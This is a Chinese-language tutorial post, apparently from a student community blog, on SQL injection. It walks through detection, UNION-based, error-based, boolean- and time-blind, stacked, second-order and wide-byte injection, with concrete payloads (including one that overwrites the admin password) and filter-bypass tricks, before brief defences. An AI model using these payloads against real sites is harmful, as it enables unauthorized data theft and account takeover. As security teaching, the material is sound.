(Web安全)sql注入

晚风疏人伴星辰 2025-05-08 01:44:37

🔸一、什么是 SQL 注入(SQL Injection)?

SQL 注入(SQLi)是最常见也最危险的 Web 攻击方式之一,指攻击者通过构造恶意 SQL 语句,提交到服务端,最终被拼接到数据库查询中执行,从而实现非法读取、篡改、删除数据库信息,甚至远程控制服务器。

✅ 本质:

拼接 SQL 时未对用户输入做安全过滤或转义,导致 SQL 语句结构被篡改。

📌 示例(PHP伪代码):

$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id = '$id'";

如果用户输入:1' or '1'='1,则最终查询语句变成:

SELECT * FROM users WHERE id = '1' or '1'='1'

✔️ 语句始终为真,返回所有用户数据,造成信息泄露。


🔸二、注入点识别与判断流程(推荐牢记)

掌握 SQL 注入并非死记 payload,而是学会分析流程,逐步识别是否可注入及如何利用。


✅ 步骤一:判断是否存在注入点

🔍 测试方法:

尝试在 URL 或参数中插入 ', ", --, and 1=1, and 1=2 等常见语句,观察页面变化。

📌 示例:

?id=1' → 页面报错,结构破坏

?id=1 and 1=1 → 页面正常

?id=1 and 1=2 → 页面异常或空白

✔️ 如果页面结构变化或出错,说明用户输入影响了 SQL 查询,可能存在注入。


✅ 步骤二:判断参数类型(字符型 or 数字型)

🔍 目的:

判断后端 SQL 是否对输入加了引号。

📌 测试方法:

?id=1 → 页面正常

?id=1' → 页面报错(字符型)

?id='1' → 页面正常(字符型)

✔️ 若加引号报错,说明该参数为数字型,直接拼接;若加引号正常运行,为字符型。


✅ 步骤三:判断字段列数(为后续 union 做准备)

🔍 方法:

利用 order by 不断加大序号直到出错。

📌 示例:

?id=1 order by 1 → 正常

?id=1 order by 2 → 正常

?id=1 order by 5 → 报错 → 说明最多4列

✔️ 得知查询语句返回的列数为 4。


✅ 步骤四:找出可回显的列(UNION 注入核心)

🔍 方法:

构造 UNION SELECT,观察哪些字段回显到页面。

📌 示例:

?id=-1 union select 1,2,3,4

页面出现 3 → 第3列可回显,我们可以将其替换为敏感函数,如 database()


✅ 步骤五:获取敏感信息

?id=-1 union select 1,database(),user(),4

✔️ 页面返回数据库名、用户名等信息,验证成功。


🔸三、SQL 注入方式详解(含语句+原理)


✅ 1. 回显型注入(基于内容回显)

🔍 条件:

  • 后端查询结果会显示在页面上;

  • 可通过修改 SQL 查询结构返回数据。

📌 语句:

?id=1' and 1=1 --+ → 页面正常

?id=1' and 1=2 --+ → 页面异常

📌 列数判断:

?id=1 order by 3 → 正常

?id=1 order by 5 → 报错

📌 可回显字段:

?id=-1 union select 1,2,3,4 -- 看哪个字段回显

📌 输出数据库信息:

?id=-1 union select 1,database(),user(),4


✅ 2. 报错注入(基于数据库报错)

攻击者利用数据库报错信息获取数据。

常用函数对比:

函数名适用数据库功能描述
extractvalueMySQLXML 错误中插入查询内容
updatexmlMySQL同 extractvalue
floor+randMySQL分组碰撞制造报错返回

 

📌 示例1:extractvalue

?id=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3--+

📌 示例2:floor + rand()

?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2)) a from information_schema.tables group by a--+


✅ 3. 布尔盲注(无回显但页面结构不同)

📌 示例:判断数据库名长度

?id=1' and length(database())=8 --+ ✔️ 正确 ?id=1' and length(database())=5 --+ ❌ 页面结构变化

📌 字符爆破:

?id=1' and ascii(substr(database(),1,1))=115 --+ 判断首字符是否是 's'


✅ 4. 时间盲注(无回显无报错)

依赖 SQL 的延时函数(如 sleep())判断逻辑。

📌 示例(MySQL):

?id=1' and if(substr(database(),1,1)='s',sleep(5),0)--+

✔️ 若延迟响应,说明猜测正确。


✅ 5. 堆叠注入(Stacked Queries)

多个 SQL 语句用分号 ; 分隔执行,仅部分数据库支持(如 SQL Server)。

📌 示例:

?id=1'; update users set password='1234' where username='admin' --+

⚠️ MySQL 默认禁用该特性,SQL Server 支持。


✅ 6. 二次注入(Stored SQLi)

攻击载荷先被存入数据库,在另一个功能中再次被拼接执行。

📌 示例流程:

注册账号:admin'#

后台 SQL 查询:

SELECT * FROM users WHERE username = '$input'

最终变成:

SELECT * FROM users WHERE username = 'admin'--'

✔️ 密码部分被注释,直接绕过认证。


✅ 7. 宽字节注入(针对编码绕过)

发生在 PHP + MySQL 且字符集为 GBK 的场景下,\ 反斜杠可能失效。

📌 示例:

?id=1%df' union select 1,2,3--+

✔️ %df' 合成一个合法 GBK 字符,绕过转义。


🔸四、常见绕过技巧总结

绕过类型方法示例描述
空格绕过/**/${IFS}使用注释或替代空格字符
大小写混合UnIoN SeLeCt混淆规则匹配
函数双写selselectect混淆关键字
内联注释/*!union*/ select利用 MySQL 内联注释

 


🔸五、防御方式简述(开发视角)

  • ✅ 使用 预编译语句(如 PreparedStatement、PDO);

  • ✅ 对用户输入严格类型校验与过滤;

  • ✅ 禁止拼接 SQL 字符串;

  • ✅ 使用 白名单机制 限制参数范围;

  • ✅ 数据库账号最小权限原则,避免使用 root。

...全文
13 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

118

社区成员

发帖
与我相关
我的任务
社区描述
这里专为新疆政法学院的探索者而建,英雄不问出处。起跑线是起点,热忱与坚持为加速器,无论bug缠身的项目,还是攻克的算法顿悟,每滴汗水皆被珍藏。执炬前行,终将照亮彼此峰顶,我们携手同行。
课程设计笔记经验分享 高校 新疆·图木舒克市
社区管理员
  • 雲中203
  • SHAO060706
  • Poeir_
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

英雄不问出处

试试用AI创作助手写篇文章吧